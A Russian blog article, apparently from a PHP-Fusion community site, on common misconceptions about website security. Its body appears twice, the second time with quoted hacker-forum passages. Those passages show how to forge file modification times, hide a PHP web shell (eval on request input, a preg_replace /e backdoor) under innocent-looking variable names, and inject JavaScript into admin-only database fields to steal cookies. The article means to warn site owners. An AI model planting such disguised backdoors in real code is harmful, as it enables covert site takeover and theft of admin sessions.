Офис НП AMWAY в Ярославле
→ На карте Купить AMWAY в ЯрославлеПриобрести высококачественную продукцию Амвей в Ярославле, получить консультации по бизнесу, заказать продукцию или получить заказ:
●Адрес: улица Валентины Терешковой, дом 1 (Вход со двора)
●Телефон: +7 (920) 112-00-91
●Email: matyxho@mail.ru
●Сайт: https://www.amway.ru/user/lebedem
●Визитка: http://yar.meweb.ru
Иерархия статей
Статьи » Безопасность » Введение. Основы безопасности сайтов
Сниппет
В последнее время наблюдается всплеск взломов, хакерских атак и прочей подобной гадости. В связи с этим я и решил немного изучить данную тему.
Введение. Основы безопасности сайтов
Сам я не очень этим всем интересовался до последнего времени. Нет, конечно у меня есть некоторое представление о защите: фильтрация всего, что приходит извне, мониторинг( время от времени) существующих на сервере файлов, сравнение их даты последнего редактирования и прочие мелкие штучки. К тому же на сайте стоит скрипт, контролирующий, в некотором роде, безопасность. Однако, после прочтения мной нескольких статей, я понял, что все эти средства защиты малоэффективны. Они способны, разве что, отпугнуть школоло, которому нехрен делать, и он просто решил позабавиться. А вот защитить свой ресурс от настоящего профессионала- это весьма и весьма проблематично, я бы даже сказал- почти нереально.
— Многие думают, что если их сайт сделан но популярном движке, которым пользуются тысячи- он защищен. Ну как же, ведь в команде по созданию этой CMS работают профессионалы, уж они-то точно все знают и все сделают для обеспечения безопасности! С одной стороны- все верно. Но с другой... Не забываем, что это- OpenSource, то есть двиг доступен всем, все знают( или могут узнать, если захотят) его структуру, следовательно- могут найти и уязвимость. Существуют целые группы хакеров, которые занимаются поиском уязвимостей в определенных пабличных CMS. Именно поэтому важно постоянно следить за обновлениями твоей CMS на сайте разработчиков. Ведь зачастую мы ставим двиг, нас все устраивает, и мы спокойно начинаем заниматься развитием проекта. А в это время злые дядьки уже нашли дырко в твоей CMS и ищут в паутине сайты, дабы заразить их. Конечно, если это не заброшенная CMS, разработчики тут же отреагируют и выпустят заплатку для уязвимого места, но ты же об этом не узнаешь, тебя же все устраивает! Именно поэтому так важно следить за обновлениями на сайте официального разработчика.
— Проверка времени изменения файлов. Оказывается, это тоже совсем не вариант! Данный метод пассивной защиты актуален лишь для начинающих хакеров или школьников. Грамотные взломщики либо вообще не изменят дату, либо, отслеживая твои посещения редактора, изменят файл примерно в то же время, что и ты. Вот что примерно об этом пишут:
Ну как, ты все еще продолжаешь ориентироваться на время изменения файла? Тогда мы идем к вам!:-)
— Еще одно ошибочное представление- это то, что файлы шелла имеют нестандартные названия, например: wzxp.php, gwd.php и тому подобное. Никак нетс, Господа СайтоСтроители! Наоборот, шеллы имеют вполне приличные названия файлов, чаще всего близко схожие с существующими, а в последнее время- шеллы "живут" прямо в твоих файлах, и код их выглядит весьма безобидно на первый взгляд: нет никакой кодировки в base64 ( на нее будет ругаться любой антивирь- палево!) и так далее.
— "У меня нет регистрации на сайте, я не получаю данные извне!" И здесь ты снова ошибаешься. Ведь ты же Админ, верно? А это значит, что тебя можно поймать и тихонько руководить твоими действиями... Вот небольшая цитата, пример, так сказать, дабы убедить тебя, что я не выдумываю:
Там еще очень многабукафф, и это всего лишь один из примеров, один из способов...
Думаю, примерно такой вопрос сейчас у тебя в голове, уважаемый читатель. Но ответить на него со стопроцентной гарантией не смогу не то, что я, но и профессионал по безопасности. Это целый комплекс мер и работ. На некоторых аспектах я попробую остановиться в следующих публикациях, если сам не подвергнусь уничтожению за разглашение секретной информации. Всех благ!
Распространенные заблуждения
— Многие думают, что если их сайт сделан но популярном движке, которым пользуются тысячи- он защищен. Ну как же, ведь в команде по созданию этой CMS работают профессионалы, уж они-то точно все знают и все сделают для обеспечения безопасности! С одной стороны- все верно. Но с другой... Не забываем, что это- OpenSource, то есть двиг доступен всем, все знают( или могут узнать, если захотят) его структуру, следовательно- могут найти и уязвимость. Существуют целые группы хакеров, которые занимаются поиском уязвимостей в определенных пабличных CMS. Именно поэтому важно постоянно следить за обновлениями твоей CMS на сайте разработчиков. Ведь зачастую мы ставим двиг, нас все устраивает, и мы спокойно начинаем заниматься развитием проекта. А в это время злые дядьки уже нашли дырко в твоей CMS и ищут в паутине сайты, дабы заразить их. Конечно, если это не заброшенная CMS, разработчики тут же отреагируют и выпустят заплатку для уязвимого места, но ты же об этом не узнаешь, тебя же все устраивает! Именно поэтому так важно следить за обновлениями на сайте официального разработчика.
— Проверка времени изменения файлов. Оказывается, это тоже совсем не вариант! Данный метод пассивной защиты актуален лишь для начинающих хакеров или школьников. Грамотные взломщики либо вообще не изменят дату, либо, отслеживая твои посещения редактора, изменят файл примерно в то же время, что и ты. Вот что примерно об этом пишут:
Цитата [ Отметить все ]
touch можно делать кучей способов:
Код: PHP//php:
touch(FILE_NAME, $time, $time)
//sh:
touch -t [[СС]YY] MMDDhhmm[.SS] FILE_NAME
perl, gcc, python. если же все это не работает, то искать (ждать) файл, который только что изменился и внести туда мини шел, но как нить очень хитро, чтобы при взгляде админа на изменения у него не возникло подозрений, т.е. не просто
Код: PHPeval($_REQUEST['cmd'])
, а что нить типа
Код: PHP$varПоЛогикеПохожаяНаTуЧтоЕстьВИсходнике=$_REQUEST['ParamПоЛогикеПохожийНаТоЧтоЕстьВИсходнике'];
...
...
// куча кода
...
$someVar=preg_replace("/http[s]?(.*)/e", $varПоЛогикеПохожаяНаТуЧтоЕстьВИсходнике, $НеПустаяСтроковаяПеременнаяИзИсходника);
т.е. смысл в том, чтобы вставленные строки для всех выглядели максимально родными для исходника.
Ну как, ты все еще продолжаешь ориентироваться на время изменения файла? Тогда мы идем к вам!:-)
— Еще одно ошибочное представление- это то, что файлы шелла имеют нестандартные названия, например: wzxp.php, gwd.php и тому подобное. Никак нетс, Господа СайтоСтроители! Наоборот, шеллы имеют вполне приличные названия файлов, чаще всего близко схожие с существующими, а в последнее время- шеллы "живут" прямо в твоих файлах, и код их выглядит весьма безобидно на первый взгляд: нет никакой кодировки в base64 ( на нее будет ругаться любой антивирь- палево!) и так далее.
— "У меня нет регистрации на сайте, я не получаю данные извне!" И здесь ты снова ошибаешься. Ведь ты же Админ, верно? А это значит, что тебя можно поймать и тихонько руководить твоими действиями... Вот небольшая цитата, пример, так сказать, дабы убедить тебя, что я не выдумываю:
Цитата [ Отметить все ]
Внедрение яваскрипта.
Большинство приложений построено
по принципу "максимально фильтруем user input, записываем чистые данные в БД, безгранично доверяем контенту из БД". Имея прямой доступ к БД, можно записать туда js код, миновав фильтрацию на уровне приложения. Редкие приложения фильтруют контент из БД, но даже в них можно найти лазейку - защита от инсайдера слабее внешней.
Что даёт внедрение js кода?
-возможность получить куки администратора, если они установлены без флажка httponly
-возможность выполнить в админке произвольные действия с правами администратора
Общие рекомендации
по внедрению закладки:
-если есть возможность, нужно вписаться во что-
то, что выводится только в админке. Нам нужны права администратора, незачем светить скрипт по всему сайту.
-идеально, если есть возможность записаться прямо в существующий скрипт.
Иногда в админке используется такая конструкция при
заполнении javascript переменных:
adminka.php
Код: JAVASCRIPT//...
<script>
a = "100000000000";
thousands_separator = "<? =$b ?>";
// Переменная $b берётся из бд? То, что нужно!
do_something(a,b);
Методика похожа на обычный sql injection - разрываем кавычки и добавляем свой код, экранируя лишнее комментарием // -желательно вписаться во что-то, что нельзя отредактировать средствами движка. Если возможности вписаться в нередактируемое поле нет - заблокируйте или поставьте свой обработчик на элемент, который его редактирует. Абсолютно любой элемент на странице можно адресовать комбинацией операторов getElementByID('айди'),
getElementsByTagName('input')[3],
getElementsByName("name")[4] и
getElementsByClassName("class")[1]
Там еще очень многабукафф, и это всего лишь один из примеров, один из способов...
Как максимально обезопасить свой сайт?
Думаю, примерно такой вопрос сейчас у тебя в голове, уважаемый читатель. Но ответить на него со стопроцентной гарантией не смогу не то, что я, но и профессионал по безопасности. Это целый комплекс мер и работ. На некоторых аспектах я попробую остановиться в следующих публикациях, если сам не подвергнусь уничтожению за разглашение секретной информации. Всех благ!
Понравилась статья?
Метки для данной статьи
Похожие статьи
Заголовок
Категория
Просмотров
Поделиться:
Последние активные темы форума
Темы | Просмотров | Ответов | Последние сообщения | |
Вопрос по переделке bb-кода PHP, MySQL |
22587 | 5 | Pisatel 26. мая 2017 |
|
Вопросы по Ajax форме обратной связи CMS PHP Fusion |
70054 | 48 | Ditrin 19. февраля 2017 |
|
BBCode YouTube Video Colorbox mod CMS PHP Fusion |
15537 | 2 | Pisatel 10. декабря 2016 |
|
Как лучше создать собственную страницу? CMS PHP Fusion |
18131 | 17 | Pisatel 11. мая 2016 |
|
Небольшие вопросы по скриптам магазина и катало... PHP, MySQL |
147698 | 80 | Pisatel 11. января 2016 |
|
BBCode Code mod CMS PHP Fusion |
14641 | 0 | Pisatel 31. августа 2015 |
|
Ajax Like Dislike Article Panel CMS PHP Fusion |
22844 | 16 | Pisatel 07. июля 2015 |
|
Хлебные крошки / BreadCrumbs SEO Panel CMS PHP Fusion |
26588 | 17 | Pisatel 04. июля 2015 |
|
Abbr Description BBCode CMS PHP Fusion |
7746 | 0 | Pisatel 15. июня 2015 |
|
Плагин Email рассылки Mail To All by Pisatel CMS PHP Fusion |
37598 | 32 | Pisatel 26. апреля 2015 |
|
Подозрительный трафик и прочие страшилки Всякая хрень |
11920 | 2 | Ditrin 23. апреля 2015 |
|
Мод Newsletter - рассылка писем пользователям с... CMS PHP Fusion |
31228 | 13 | Pisatel 10. апреля 2015 |
|
Мод отправки писем PHPMailer для PHP-Fusion CMS PHP Fusion |
131184 | 113 | Ditrin 06. апреля 2015 |
|
Появление неизвестного файла subscriptions.php CMS PHP Fusion |
8928 | 2 | Pisatel 06. апреля 2015 |
|
Autoban on IP CMS PHP Fusion |
23364 | 13 | Pisatel 03. апреля 2015 |